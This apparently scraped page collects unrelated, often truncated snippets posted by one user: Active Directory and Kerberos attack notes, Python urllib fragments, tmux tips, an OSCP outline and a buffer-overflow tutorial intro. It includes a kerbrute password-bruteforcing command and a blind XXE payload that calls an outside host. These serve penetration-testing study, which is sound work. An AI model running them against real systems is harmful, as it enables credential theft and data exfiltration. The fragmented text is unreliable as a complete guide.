Murthysagi

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

• Tools
• Most common paths to AD compromise
  • MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
  • Open Shares
• [GPO - Pivoting with Local Admin

Murthysagi

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

Murthysagi

import urllib.request
import urllib.response

userName = "user"
passWord  = "password"
top_level_url = "http://127.0.0.1/api/update"

# create an authorization handler
p = urllib.request.HTTPPasswordMgrWithDefaultRealm()
p.add_password(None, top_level_url, userName, passWord);

Murthysagi

#!/usr/bin/env python
#
# tested by Python 3.4.3 on Windows 8.1
# Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32

# If you need to access web site/service via proxy, set http_proxy or https_proxy.
# https://docs.python.org/3/library/urllib.request.html#urllib.request.ProxyHandler
# set http_proxy=http://127.0.0.1:8888/
# set https_proxy=https://127.0.0.1:8888/

Murthysagi

#!/usr/bin/env python
#
# I tested by Python 3.4.3 on Windows 8.1
# Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit (Intel)] on win32

import urllib.request
import getpass

# If you access to url below via Proxy,
# set environment variable 'http_proxy' before execute this.

Murthysagi

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

Murthysagi

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

Murthysagi

Sessions

New Session

• tmux new [-s name] [cmd] (:new) - new session

Switch Session

• tmux ls (:ls) - list sessions
• tmux switch [-t name] (:switch) - switches to an existing session

Murthysagi

How to pass the OSCP

1. Recon
2. Find vuln
3. Exploit
4. Document it

Recon

Unicornscans in cli, nmap in msfconsole to help store loot in database.

Murthysagi

Buffer Overflow Tutorial

This tutorial is based on the Computerphile video, made by Dr. Mike Pound

https://www.youtube.com/watch?v=1S0aBV-Waeo

The tutorial will show you how to trigger and exploit a buffer overflow attack against a custom C program, using Kali Linux 32-bit PAE 2016.1.

Torrent Link: https://images.offensive-security.com/virtual-images/Kali-Linux-2016.1-vbox-i686.torrent